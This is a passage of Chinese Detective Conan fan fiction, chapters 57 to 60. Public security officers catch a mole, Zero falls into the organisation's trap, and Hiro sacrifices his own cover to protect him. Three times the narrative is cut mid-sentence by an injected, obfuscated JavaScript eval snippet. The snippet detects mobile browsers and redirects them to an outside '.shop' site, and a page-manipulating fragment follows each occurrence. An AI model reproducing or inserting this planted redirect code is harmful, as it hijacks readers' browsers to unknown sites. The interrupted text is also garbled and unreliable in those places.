保险起见,降谷零也在情报中说明了他暂时无法辨别真假的实情。 黑田兵卫和降谷零有同样的想法。 时机难得,如果不赌一把,谁也不知道这条情报到底是真是假。 这种任务……难免会有人牺牲。 作为一名长官,黑田兵卫很清楚这次的行动很有可能决定着降谷零的生死。但他不能只为下属一个人考虑,他还要为千千万万人的安危考虑。 更何况,早在警视厅那边查出问题的时候,他就开始怀疑警察厅也有卧底,并且已经有了几个怀疑对象,借用这个机会,正好能把这个人找出来。 时间紧迫,他不再踌躇,果断通知所有公安逐层级开会。 能出动公安上下的必定不会是小任务,即便黑田兵卫已经刻意让人封锁消息,但警察厅内部难免会听到一些风声。 那个在警察厅谨小慎微的卧底同样听到了一些风声。 想到琴酒最近发来的任务,他眯了眯眼睛,装作不经意和几个同事搭话。 经过他的一番试探,大致确定了顶层的公安们最近是在忙活些什么了。 看来组织里的老鼠就是警察厅的公安。 他想了想,转头把消息传给了琴酒。 “哼……终于要露出马脚了吗?” 琴酒冷笑着销毁手机里的讯息。 降谷零探查到的情报确实是组织故意放出去钓鱼的消息。 这一条消息只被发给了几个怀疑对象,并且还做了不同程度的修饰,能够确保怀疑对象掌握的细节都略有差异。 这样一来,就算是不能直接锁定老鼠是谁,但也能进一步缩小范围,运气不错的话,甚至能够把范围缩小到两个人中。 他向警察厅的卧底又发去了一条消息,命令他探听一些细节。 只要知道了任务细节,他们就能缩小怀疑范围。 琴酒的身后立着一张白板,上面整齐地贴着一些证件照。 正是这一次能够拿到那条被故意放出消息的那些人。 “你们其中……谁会是老鼠呢?” 琴酒低声问着,哪怕没有人能够回答他的问题。 收到琴酒命令的卧底龇牙咧嘴地看着那条消息好一会儿,有些头大。 天知道他在警察厅只是个普通人啊!要让他去打听顶层公安的消息,这不是明摆着送人头马?! 可是去打探消息还有活的机会,不做琴酒的任务只有死路一条。 为了活下去,他还是认命的接受这个任务。 要说打探顶层的消息,也不是完全做不到。 卧底拐弯抹角搭上好几个跟公安有对接的部门,时不时问一些模糊不清的问题。 他也没打算探听到多少细节,能有一点大概的消息拿回去交差就行。 得到自己想要的答案,他忙不迭给琴酒发去了消息。 当然,他的小动作没有瞒过已经盯上他的公安们。 就在信息发出的当晚,卧底先生被全副武装的公安们悄无声息地上门查了水表。 57.第 57 章 查出埋藏在警察厅中的卧底,黑田兵卫心中的疑虑总算是放下了一些:一直以来的怀疑被证实,在行动之前能够找出组织的卧底,也算是为行动增添了一些成功率。 “风见,去通知诸伏和降谷,这几天工作小心,不要在行动前出岔子。” 他安排风见裕也把抓到卧底的消息传递给诸伏景光和降谷零,方便两人早做准备。 诸伏景光收到风见裕也的密信之后,第一反应是去找青木修。 既然公安已经开始筹备抓捕行动,那么最后必然会暴露他们安全屋所在的位置。 青木修现在还在组织的通缉名单上,他一个人待在那里已经不再安全。 只是……一个多月没有见到人,也不知道他现在过得怎么样。 诸伏景光有犹豫过青木修是否已经搬走的问题,但直觉告诉他,青木修一定还在那里等他回去。 打定主意后他便不再耽搁,趁着夜色回了原来的安全屋。 他用备用钥匙蹑手蹑脚地打开门,一抬眼就能看到卧倒在沙发上的人。 青木修横躺在沙发上,整个身体蜷缩在一起,怀里抱着一个抱枕。 诸伏景光走近几步,发现青木修睡得并不安稳,眉头紧紧皱着,似乎在做噩梦。 ……瘦了好多。 他站定在青木修身边,直直看着那张在月光下尽显苍白的脸。 短短一个月的时间,青木修就把他好不容易养出来的一点软肉折腾没了。 鬼使神差般,诸伏景光伸出手,弯下腰,轻轻摸了摸青木修脸上的伤疤。 青木修又梦到了曾经在实验室的那些日子。 曾经跟他一块儿长大的兄弟姐妹们接连死去,到最后偌大的病房里只剩下他一个人。 好冷……好冷…… 他蜷缩起身体,想要留存住一点温暖。 但是病房里太冷了,他已经尽力把自己团得够紧,但还是无法阻止寒气的侵入。 在梦境中,青木修的意识也开始逐渐模糊。 他隐约能感受到如果在梦境中也失去意识,可能会有什么不好的事情发生。 可是真的好冷啊…… 恍惚间,虚空中仿佛有一双温暖的手抱住了他。 青木修连忙往热源的方向凑。 他一个激灵睁开眼,诸伏景光放大的脸出现在眼前。 “……” 青木修惊吓之余还有些恍惚,他又伸手戳了戳胳膊上一道还没有愈合的伤口。 很疼。 “……不是做梦……?” 他茫然地抬手,想要触碰一下眼前的人,看看是否是自己的幻觉。 就在他的指尖即将碰到诸伏景光的前一秒,青木修忽然收回手。 他害怕一碰上,眼前的诸伏景光就会消散,再不见踪影了。 “唔……” 青木修揉揉眼睛,试图把面前的人看得更清晰一点。 “我好想你啊。” 他始终觉得眼前的人不过是自己的幻觉而已。 看着青木修这副模样,诸伏景光的心也跟着一抽一抽疼起来。 他知道是自己迁怒了青木修,父母的死并不能怪他。 “青木。” 诸伏景光抬起手,落在了青木修的发顶上。 “唉?” 那双灰色的眼睛一瞬间睁大了。 青木修直接从沙发上跳起来。 “不是幻觉?!” 他像是受了莫大的惊吓,整个人利落地翻过沙发,背后紧贴着墙壁。 这时候他不怕冷了,反而希望能借由墙壁上的寒气促使他清醒过来。 很可惜,眼前的人并不是自己的幻觉。 足足过去了好几分钟,青木修停转的大脑才逐渐恢复工作,开始消化“诸伏景光回来找他”的事实。 “你……你怎么回来了?” 他看向诸伏景光的眼神依旧是怯怯的。 诸伏景光心尖被这眼神刺得一痛。 他正正神色,轻咳一声,视线不敢落在青木修的眼睛上,“公安最近会有大行动,你在这里待着不安全。” 青木修这段时间也没怎么接公安的工作,暂时还不知道降谷零追查到了有关BOSS的情报。 他想了想,婉拒了诸伏景光的提议。 “我只是一个编外人员,你们的行动对我来说应该影响不大,我在这里挺好的。” 诸伏景光仍在劝阻,“这次行动非同小可,可能会涉及到很多人,你就算是编外人员也有被牵扯的危险。” 青木修不太想离开这个安全屋——这里有诸伏景光生活过的痕迹。 他已经习惯这间小屋子了,一时间不太愿意搬走。 “不用了,我还是有自保能力的。” 诸伏景光上下扫视他一遍,“你的自保能力就是把自己弄得伤痕累累?” 青木修脸颊一红,一时间找不到合适的词句去辩驳。 “这次行动真的很关键,涉及到组织。” 青木修嗅出了一丝阴谋的味道。 “涉及到组织?最近你们有新进展了?” 青木修实在太聪明,诸伏景光心知不可能瞒得住他,斟酌着向他透了些底: “zero追查到了有关BOSS的情报,这一次公安已经开始计划针对BOSS的抓捕行动了。” 青木修一愣,语气中满是疑问,“抓捕BOSS?” 谈到这个,诸伏景光的眼睛亮了起来,“是啊,总算找到了一些关于BOSS的情报。” 青木修直觉哪里有些不对,“冒昧问一句……能告诉我降谷零查到的BOSS行踪是在哪里吗?” 这涉及到了公安的机密情报,已青木修目前的等级,肯定是没有权限知道这些消息的。 诸伏景光的神色有些为难。 青木修也不卖关子,直接问,“你们的行动目的地,是在鸟取吗?” 诸伏景光反应很快,但是青木修还是捕捉到了他一闪而过的表情。 “不是?” 这一下青木修的眉头皱的更紧了,眉心死死拧着。 他对诸伏景光可谓是毫无隐瞒。 “不可能不在鸟取!” 这一次轮到诸伏景光变了脸色,“你什么意思?” 青木修深吸一口气,心中已经隐约有了猜测。 “降谷零很可能上了组织的当,BOSS早在几年前就只能依靠我的血液制品续命了,我基 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14335512|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本可以确定他没有自主行动能力,绝对不可能会从鸟取转移到其他地方。” “你确定吗?” 诸伏景光心头也闪过一丝不妙。 青木修重重点头,“我确定,BOSS名下最好的实验中心就在鸟取,他不可能舍近求远跑到其他地方。” 诸伏景光脸色巨变,顾不得什么安全不安全,转身掏出手机就开始联系黑田兵卫。 “黑田长官?是我,诸伏景光。” 另一头的黑田兵卫还在惊讶怎么诸伏景光也会这么鲁莽,直接给自己打电话,就听诸伏景光一口气不带歇的讲出一长句话: “青木修刚刚说组织BOSS的行踪不可能出现在鸟取以外的地方!BOSS几乎已经没有自主行动能力了!他名下最好的实验中心就在鸟取!” 黑田兵卫的大脑以最快的速度接收诸伏景光话中的信息。 “你是说,降谷查到的情报很可能是假的?” 诸伏景光这时候才深吸一口气,声音发紧,“对……很有可能这就是组织的一次试探。” 联想到刚刚抓住的那个组织卧底,电话两端的人表情都不太好看。 “你先带着青木修转移,我去尝试联系降谷。” 诸伏景光看着已经挂断通话的手机屏幕,肌肉因为紧绷正发着抖。 “景光,降谷零现在在哪里?” 青木修这时候的反应甚至要比诸伏景光更快一步,他已经迅速判断出组织放出假消息的用意,心知降谷零现在已经处在暴露的边缘。 . 行动组难得和情报组有所联合。 琴酒向情报组展示了自己从卧底那边得到的消息。 此刻他正笑得嘲讽。 “朗姆,看来你的得力干将……似乎就是我们一直以来要找的老鼠啊?” 朗姆坐在办公椅里,看着他面前的白板,面色铁青,一句话也说不出来。 白板上贴着的照片已经尽数摘掉,只剩下零散的几张还留在上面。 其中,降谷零和诸伏景光的照片被人用红笔单独圈出来。 朗姆的呼吸很粗重,明显是在努力克制自己心中的怒火。 波本居然是嫌疑最大的成员之一! 他现在很愤怒,一边气愤于琴酒赤裸裸的挑衅,一边暗自希望最后的老鼠是苏格兰威士忌而不是波本。 不然的话,他一直以来对波本的信任和器重就像是一个笑话,一个响亮的巴掌,狠狠甩在了他的脸上! “波本现在在哪里?” 冷静片刻后,朗姆问身后站着的情报组成员。 “让他来见我,现在!立刻!” 最后几个字,朗姆几乎是吼着说出来。 琴酒抱臂站在一旁,冷眼看着朗姆的失态。 虽然他只关心最后有没有抓到老鼠,但是能顺带看到朗姆这副气急败坏的样子,也还算不错。 贝尔摩德也收敛起以往那副漫不经心的模样,面色严肃地看着白板上被全出的两张照片。 她和波本的关系还算是不错,也和对方有过共同出任务的经历,甚至还参与过当初威士忌小组的二次背调。 她也万万想不到,最后的嫌疑人名单居然会有波本的一席之地。 58.第 58 章 诸伏景光原本打算按照黑田兵卫的吩咐,带上青木修先转移,但青木修推了诸伏景光一把。 “你先去找降谷零吧。” 诸伏景光回首看他。 青木修此刻表现出了异常的冷静。 “你应该知道降谷零落脚的地方,组织很有可能会让他去接受问询,一旦回到基地……再想出来可能就没那么容易了。” “那你呢?” 诸伏景光没忘记青木修现在的处境也不是那么安全。 “你告诉我,我应该去哪里就行,我自己过去,你还是先去找降谷零吧。” 青木修知道降谷零和诸伏景光的关系,明白现在诸伏景光心里肯定也不是那么平静。 “你直接去这里……一切小心。” 诸伏景光给了青木修一个地址,自己匆匆离开去降谷零的安全屋,看看能不能在组织之前把人拦下来。 看诸伏景光匆匆离开的背影,青木修的眉心才松开些许。 但愿诸伏景光能够顺利把人带回来。 他并不好在其中插手——毕竟他的身份摆在那里。 只是这里已经不再安全了。 青木修拎着背包,最后看了一眼这个曾经充满他和诸伏景光生活气息的小屋。 诸伏景光给他的地址应该就是对方新找的安全屋。青木修查了一下地址,基本上和这间安全屋呈对角线分布。 看来他还是很在意啊……青木修的肩背垮下来。 他没坐车,一路步行到新的安全屋。 这间屋子比之前那间还要更小一点,只有一室一厅。 青木修没好意思进唯一的卧室,把行李放下,自己窝进了沙发里。 他的心脏忽然跳的很快,但呼吸却感到一阵窒闷,明显有种喘不上气的感觉。 青木修有些头晕脱力,他仰躺在沙发上,一手捂着胸口,一只手搭在眼睛上。 剧烈的心跳让他很难受,就像是有什么东西脱力原来的轨道一样令人心慌。 他一边张大嘴做着深呼吸,一边在脑海里梳理诸伏景光带来的消息。 方才两人交谈时,诸伏景光也有提到他也查到过和降谷零类似的消息,不过由于降谷零身在情报组,信息来源渠道逼自己更加广泛,所以最后降谷零要先他一步查出BOSS的行踪。 能得到和降谷零相同的情报……青木修并不认为这只是一个单纯的巧合。 目前已经确定了情报是组织放出来钓鱼的假消息,也就是说所有能得到这条情报的人,很有可能都在组织的怀疑名单上。 青木修心跳突然漏了一拍,惹得他心口一阵绞痛。 诸伏景光和降谷零一样,都在组织的怀疑名单上…… 这绝对不是一件好事,诸伏景光前不久才通过第三次背景调查,重新获得了行动组的信任,然而眼下的证据明确说明他从来没有走出过组织的怀疑名单。 思来想去,青木修只能想到一个人会有如此重的疑心和警惕——琴酒。 琴酒的能力和行事风格他心知肚明,这也是让青木修暗叫不好的原因之一: 这个人一向宁可错杀一千不会放过一个,一旦把卧底的范围缩小到一定程度,他很有可能不会进行最后的人员锁定,而是直接把范围内的所有成员全部处理掉。 这很琴酒。 青木修忽然有些怀疑自己让诸伏景光一个人去找降谷零的决定是否正确。 但是出于对诸伏景光的信任,青木修还是生生克制住了自己插手的冲动。 在他的心里,一直认为诸伏景光和降谷零之间的关系比他和自己之间的关系要近一些。 这种关键时候,还是不要随便插手好了。 但让青木修坐在这里干等诸伏景光回来他也做不到。 一双灰色的眼睛盯着屋内布局看了又看,青木修还是决定等心脏舒服一点之后做点什么。 . 诸伏景光和青木修分开之后就直奔降谷零的安全屋而去。 紧赶慢赶,他好歹是在小区门口把人拦了下来。 “zero!” 这里人多眼杂,不方便大喊出声,诸伏景光特意绕到降谷零背后把人捂住嘴拖进了两栋楼之间的间隙。 “你要去干什么?” 降谷零对出现在这里的诸伏景光非常意外。 “你怎么在这儿?” 这种时候对方不应该在研究行动方案吗? 诸伏景光没工夫和降谷零聊其他的话题,开门见山道:“你打算去见谁?黑田长官没有联系你吗?” “黑田长官?” 降谷零换了手机卡,才发现手机上有几通黑田兵卫的未接来电。 “黑田长官找我?” 在降谷零换手机卡的时候,诸伏景光就拨通了黑田兵卫的电话,这时候他一手摁住降谷零的手腕,一边通知黑田兵卫。 “嗯,我已经找到人了,您放心……我们来想办法。” 降谷零此刻还是一头雾水的状态。 “hiro,你说清楚,到底发生什么事了?” 挂断电话,诸伏景光转过身深吸一口气。 “zero,你很有可能上了组织的当。” “什么?” 降谷零呼吸一滞,心说还是没有赌赢吗? “青木告诉我,BOSS不可能出现在鸟取以外的地方。” “能确定吗?” 回想到青木修阴沉沉的眸子,诸伏景光十分肯定消息的真实性,“确认是真的,他说BOSS现在已经没有自主行动能力了,身体状况也不允许BOSS再随意移动。” 降谷零后背发凉,他扯出一个苦笑,没想到自己在悬崖上走了四年的钢丝,还是着了组织的道,现在恐怕马上就要跌落悬崖万劫不复。 两个人之间一时间沉默下来。 他们都很清楚降谷零这一去意味着什么。 “是谁联系的你,琴酒吗?” 最后还是诸伏景光先打破了沉默。 “不是,”降谷零摇头,“是朗姆。” 涉及到抓老鼠的事情,琴酒不可能不知道,而这个时候却是朗姆发来消息让降谷零回去,毫无疑问暗示着行动组和情报组出现了百年难遇的联合。 “你先别急着回去,告诉朗姆,你查到了一些很有意思的东西,暂时拖延一下时间。” “你有办法?” 降谷零抬头,有些狐疑地看着自己的幼驯染。 对方应该也是刚得知到这个消息不久,难道这么快就想出了对策吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345702|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诸伏景光的表情没有一丝破绽,让降谷零看不出他说的到底是实话还是假话。 “呃,我大概有一个想法,你先告诉朗姆。” 降谷零没从他脸上看出什么端倪,半信半疑地给朗姆发去消息,表示自己会稍微晚点到,并且会带来一些很有意思的情报。 “好了,现在可以说说你的计策了吧?” 降谷零不明白诸伏景光为什么在自己面前还要搞得这么神神秘秘。 诸伏景光深吸一口气,声音很轻,很平静,听上去就像是当初还在一个威士忌小组,他问“晚上吃什么”的语气。 “zero,你把我的资料带去基地,举报我吧。” “什么?!” 降谷零差一点就没控制住自己破了音。 他当即否决了这个想法。 “不可能,你想都不要想。” 他怎么可能做得出去举报诸伏景光来换自己安全的举动? 诸伏景光双手搭上降谷零的肩膀。 “zero你听我说,这不是我一时起意。” 他直直看着降谷零灰紫色的眼睛,“你知道的,我回去找青木了。” 降谷零查到的情报就是组织的诱饵还是从青木修口中得到确认。 “你和他商量了什么?” 降谷零大概明白了诸伏景光提起青木修的用意。 “知道你很有可能暴露的消息后,我和他就在想办法。” 诸伏景光的眼睛没有丝毫的躲闪,表情也是一等一的严肃,以至于降谷零根本判断不了他说的话到底是真是假。 “你们想出来的办法,就是让我去举报你?” 降谷零觉得似乎哪里有点不对劲。 “你先听我说完,”诸伏景光死死摁住降谷零,生怕对方跑去基地送人头,“让你去举报我只是一个幌子,这样的话你就能洗清自己的嫌疑留在情报组。” 其实公安前赴后继也派了不少人进组织卧底,但是成功混进情报组高层的,目前还只有降谷零一个人。 这个在情报组的人才实在是太宝贵了,哪怕只是把对方从组织里撤出来,对公安来说也是一大损失。 如果他不做些什么,就眼下的形势来看,降谷零最好的结局也不过是被公安撤出组织,暂时隐姓埋名起来。 这还只是最好的结果…… 至于最差的结果,诸伏景光根本不敢去设想。 “你别担心,我和青木说好了,他对组织很熟悉,一旦你去举报我成功洗清嫌疑,青木就会立刻带着我撤离。” 降谷零眼皮抬了抬,他其实大概已经知道青木修和诸伏景光之间互相的心思,目前来说,青木修是绝对可信的——尤其是在关于诸伏景光的事情上,对方不可能有异心。 诸伏景光提出的建议实际上是目前想要能够同时保住他们两个性命成功率最高的办法。 “你确定你已经和青木修商量好了?” 诸伏景光没有丝毫犹豫,“放心吧,我和他已经把退路商量好了,只要你洗清嫌疑,我们两个人立刻就能动身。” “……好吧。” 自己已经被诸伏景光拦在这里,降谷零知道就算自己不去举报他,诸伏景光也会想办法自爆。 其实他现在根本就没有选择。 59.第 59 章 “你真的和青木修商量好了?” 降谷零总觉得哪里有些不对,想要再向诸伏景光求证一遍。 “你不相信青木修总该相信我吧?” 诸伏景光笑得轻松,一副胸有成竹的样子。 降谷零被诸伏景光说动了。 诚然,他就算是不能完全相信青木修,但完全可以信任诸伏景光。 “那你自己小心……我会把你的资料带回基地。” 怎样处理诸伏景光的资料就不用诸伏景光多交代——比起他,降谷零更熟悉怎么做才可以让这些资料看起来更真实,更可信。 “放心好了,一切都在计划中。” 诸伏景光拍拍降谷零的肩膀,神色轻松的离开,低头给青木修发去一条讯息。 [我已经找到zero了,我们正在和黑田长官商量解决办法,暂时可能不会回来,你一个人小心。] 正打算做饭的青木修看见简讯,有些失落。 还打算做两个人的份量呢…… 不过他很快重新打起精神,既然诸伏景光已经成功在组织之前找到降谷零,两人总能想出一个办法来。 他虽然这么想着,却总是莫名有些心慌。 青木修思来想去找不到心慌的原因,最后归结为后遗症的表现。 他很快适应了这个有着诸伏景光气息的屋子,满心欢喜地等待着诸伏景光带着好消息回来。 同时,他也在心中盘算着组织的用意。 琴酒每一次展开大规模清缴卧底的行动,往往都起因于外界有什么对组织影响比较大的事情。 这段时间公安针对组织的工作还算得上按部就班,没什么大动作……他忽然想到了赤井秀一。 对方在送他回来前就说过,要好好在FBI里清理一番组织的渗透势力。 这么长时间过去,应该也有所成效了吧? 青木修的猜测完全正确,琴酒不是突发奇想要试探组织中的卧底,而是远在美国分部的人发来消息,表示他们在FBI中安插的人手遭受到了重创。 在赤井秀一等人的强力推动下,埋藏在FBI中的人几乎全军覆没。 这让琴酒嗅到了一丝异常的气息。 FBI不可能无缘无故开始内部审查,必定是组织内部有人泄露了消息。 他没有第一时间想到青木修——早在美国分部发回来的报告里,就已经提及了对方的死亡。 琴酒对青木修死亡一事始终存疑,但他也认为对方现在必然状况不好,一时半会儿掀不起什么风浪。 那么只有组织中还有老鼠在给FBI通风报信这一种可能了。 这正是他这一次想要清理老鼠的直接原因。 诸伏景光和降谷零分开后就回到了青木修刚搬走的安全屋。 这间房子他还没有退租,在组织中登记的安全屋也还是这里没有变,如果降谷零成功用他的资料洗清了嫌疑,组织会来这里找他。 他不想把青木修也拉下水。 降谷零则是回到自己的安全屋,登录上公安内网,下载了诸伏景光的一部分资料。 直接把资料原件拿去组织是绝对不可以的,这种行为无异于自投罗网,他还需要对这些资料进行修饰。 估摸着朗姆的耐心估计也即将耗尽,降谷零最后一次检查手中已经整理好的资料,驱车前往基地。 “朗姆大人。” 他在推开会议室大门之前就意识到里面不只有一个人。 降谷零攥紧手中的资料,装作若无其事的推开门。 “咔哒。” 冷硬的枪口顶上了他的后脑。 降谷零不慌不忙地把资料放在桌子上,慢慢举起双手,回头迅速瞥了一眼。 “琴酒,你又在发什么疯?” “哼。” 琴酒没有正面回答他的问题,只是把手中的□□又往前顶了顶。 降谷零只好把视线转回朗姆身上。 “朗姆大人,我说的‘有意思的东西’已经带来了。” 他抬手隔空点了点放在桌子上的资料。 朗姆用仅剩的一只眼睛看向他,没有去拿那些资料。 降谷零就装作才意识到哪里不对似的,一点一点收敛起脸上的笑容。 “朗姆大人,您这是什么意思?” 朗姆定定地看了他好一会儿,仿佛是要透过降谷零的眼睛看穿他的内心想法。 “……波本,”朗姆的语气有些沉重,“我没想到老鼠会是你。” 他在诈降谷零。 降谷零瞬间识破了朗姆的小心思,冷哼一声。 “我是老鼠?朗姆大人,你这样说就没意思了。” 他把手放下,忽略顶着后脑的枪口,“您要不先看看我带来的资料再下定论?” 朗姆这个时候才把注意力分出一丝到降谷零带来的资料上。 说是资料,实际上只有薄薄的几张纸。 朗姆捻起那几张纸,低下头过目。 降谷零不动声色地吞了口口水,控制着自己的心跳。 会议室的空气好像凝固了,每一分每一秒都过得无比煎熬。 但降谷零不能露出丝毫的不耐。 良久,朗姆才抬起头,镜片后的独眼闪过一丝精光。 “你能确定这份资料的真实性吗?” 降谷零知道,朗姆已经对这份资料信了一半了。 “我用性命担保,这份资料绝对真实。” 琴酒也注意到了朗姆态度的变化,他没有放下枪,枪口依旧对准降谷零的脑袋,上前一步从朗姆手里抽出那份资料。 朗姆难得没有露出什么不满。 琴酒一目十行看完这份资料,把它拍在桌子上,显然疑心未消。 “这是公安的资料,你是怎么拿到的?” “你们不是放出了有关BOSS的情报吗?” 提起这个,降谷零就恨得牙痒痒。 枪口又往前顶了顶,示意他继续说。 “苏格兰找上我,向我打听后续的情报。”降谷零把心中早就打好的腹稿缓缓说出,“他用的是我们曾在同一个威士忌小组的理由——当时我就起了疑心,一个行动组,为什么会对BOSS的消息那么上心?” 他边说边观察在场剩下两人的表情,以便随时调整说辞。 “后来借着帮忙搜查情报的理由,我跟了他几天,发现了他在秘密向什么人传递消息,追着查下去,就查到了他的真实身份。” 朗姆知道降谷零的本事,只要让他找到一些蛛丝马迹,顺藤摸瓜查出真相对他而言并不是一件难事。 这番说辞,在朗姆这里基本上已经能够通过考验了。 朗姆本就对降谷零青眼有加,琴酒给他的怀疑对象又包含降谷零和诸伏景光二人,现在能有确切的证据证明诸伏景光才是那个老鼠,他巴不得立刻就能把降谷零从这滩浑水里摘出来。 只是琴酒依旧疑心深重。 “万一老鼠不止一个,你也是呢?波本。” 他的话让朗姆回温了几分的脸色重新冷下来。 “我要是老鼠我现在就应该带着苏格兰跑路了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14353962|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 降谷零的神色冷下来,“这种利用我的人,我恨不能啖其血肉!” 琴酒虽然没能完全打消疑虑,但也信了七八分。 他收起□□,“准备通缉苏格兰威士忌。” “等等。” 降谷零上前一步拦住他,“这样岂不是打草惊蛇?” “那你想怎么办?” 琴酒冰冷的绿眼睛死死盯着降谷零,仿佛他只要有一个字说得有疑点就能当场用□□崩了他。 “他这段时间不是没领任务吗?大概率还在安全屋里宅着,直接上门捉人不是更方便?” “你倒是了解他。” 降谷零回以同样的冷笑。 “过奖,毕竟是曾经的队友,有了前车之鉴,自然要多多了解一些,以防万一。” 在场的人都知道降谷零口中的前车之鉴指的正是叛逃的黑麦威士忌,赤井秀一。 “那倒是不知道,你对杜林标有多少了解?” 琴酒的话险些没让降谷零的冷笑僵在脸上。 这家伙怎么哪壶不开提哪壶? 还不等他做出什么回应,只听琴酒接着说:“毕竟他也是你以前的‘队友’啊,波本?” 降谷零大脑飞速运转,思考着琴酒这时候突然提起青木修的用意。 难道他看出什么了? 这个念头一冒出来,就被降谷零否决掉。 不,不可能。琴酒绝对不可能知道青木修和他们还有联系,不然恐怕等不到他进这间会议室的门就已经被琴酒一枪□□崩掉了。 这些繁杂的念头在降谷零脑海中一一闪过一遍,也不过瞬息之间。 “队友?” 降谷零的眼神深了几分。 这猝不及防的变化竟是让琴酒也愣了一瞬。 “他也配称得上队友吗?” 降谷零语气轻蔑,“不过是组织塞进来的一个工具而已,居然还生了背叛的念头,何必了解他?反正不听话的工具,都只有被销毁的命运,不足为惧。” 不知这段话里哪里取悦了琴酒,这个家伙居然没有冷笑,只是把玩着手中的□□。 降谷零用余光关注着琴酒和朗姆的反应。 还好,两人似乎都很赞同他的话,有关“杜林标”的话题很快就被翻过篇。 “准备去找苏格兰。” 琴酒重新拿起那一张印有诸伏景光证件照和真名的资料,五指缓缓收紧,把那张纸捏皱。 降谷零抬脚就准备走,心中火速盘算着怎样通知青木修带诸伏景光及时撤离。 “波本,等等。” 安静许久的朗姆忽然叫住他。 降谷零不得不停下脚步,转头挤出一个得体的微笑,“还有什么吩咐吗?朗姆大人。” 这时候朗姆居然和琴酒站在了统一战线上,“你就不用参与这次行动了,手机留下,回去吧。” 降谷零恨不得把眼前这个独眼老头的脑袋锤爆,但是眼下不得不听从对方的吩咐,拿出工作手机放在桌面上,一步一步离开了基地。 他的备用机还放在安全屋,必须要赶紧回去,才能通知诸伏景光和青木修。 他一边赶路,一边默念青木修的名字,希望对方最好能感应到什么,赶紧带着诸伏景光走人。 会议室里,朗姆的手指搭在桌沿,轻轻敲打着。 “去苏格兰威士忌的安全屋,把人带到备用基地去。” 已经知晓对方的真实身份,在完全控制住人之前,琴酒不会给他来基地的机会——谁知道这些诡计多端的公安又会抓住机会耍些什么小聪明。 60.第 60 章 诸伏景光一人独自坐在安全屋里,抱着手机似乎是在沉思。 这里还留有青木修的气息。 他自知亏欠青木修良多,但是任务当前,他不得不做出选择。 世间安得双全法。 诸伏景光脑子里没由来飘出这么一句话。 如果还有得选,他必然不会放下青木修。 这本就是他自己造的孽。 “青木……” 手机屏幕还停留在他给青木修发送消息的界面上。诸伏景光的手指在屏幕上来回摩挲了一会儿,想了想,还是把已经敲出来的一段话删去了。 这种时候,就不要再给他平添难过了吧……他想。 诸伏景光安静地坐在沙发上,客厅里的电视开着,也遮掩不掉屋中的孤寂。 从接到公安的调令那一刻起,他就料想到会有这么一天。 降谷零在情报组的位置实在来之不易,无论从哪个角度考虑,舍弃掉自己保全他都是眼下的最优解。 只是…… 诸伏景光莫名想起了当初还在威士忌小组的时候,琴酒让他观看青木修接受“治疗”的场景。 组织最不缺的就是折磨人的方法。 也不知道自己能扛多久。 他轻轻打了个哆嗦,不是害怕,只是面对未知的无端紧张。 怕死当不了公安。 诸伏景光深吸一口气,缓缓吐出,控制自己的心跳。 如果降谷零那边一切顺利,那么组织派来的人应该已经在路上了。 在心中估算了一下这里和基地之间的距离,诸伏景光收起手机站起身,从厨房里接了一杯冷水出来,“咕噜咕噜”喝下。 他也应该做些准备了。 降谷零感觉到身后有人跟着,一路上不敢表现出分毫的急切,按照平常的速度回了安全屋。 几乎是在进屋的瞬间,他回过头,和身后的跟踪者有了短暂的视线相接。 跟踪的人被他的眼神吓得一凝,等回过神时,降谷零已经关上了房门。 屋子里的窗帘常年都是拉上的,这会儿正好省了拉窗帘的功夫,还免得平白引起不必要的怀疑。 降谷零从天花板里找出备用机,静步走到窗帘一角,无声观察楼下两名监视人员。 诸伏景光的手机毫无疑问已经处在组织的监控之下,现在决计不能联系他。 能通知的人只有青木修。 降谷零表情一凉。 ——他没有青木修的联系方式。 降谷零现在无比懊悔当初在青木修加入公安的时候没有留下一个对方的联系方式,现在不得不曲线救国先去联系黑田兵卫。 尽可能用简短的语言向黑田兵卫解释了现在的情况,降谷零朝对方要到了青木修的临时联系方式。 “这个联系方式联络的是青木修的备用机,”黑田兵卫还算是沉着,语调平稳,“他不一定能及时看到消息。” 平时发给青木修的工作任务,基本上都能在十分钟内得到答复。但目前情况紧急,别说是十分钟,就算是只耽搁一分钟,也有可能导致诸伏景光因此丢掉性命。 “……” 降谷零咬紧牙关,“就算只有一点希望,我也要试试。” 他来不及遵守什么上下级的礼仪,直接挂断了黑田兵卫的电话,手指立刻在键盘上飞舞。 只有简短的一句话: [带hiro走!] 降谷零的运气不错,发送消息的时候青木修恰好换成了备用手机卡,正在检查公安那边是否有消息。 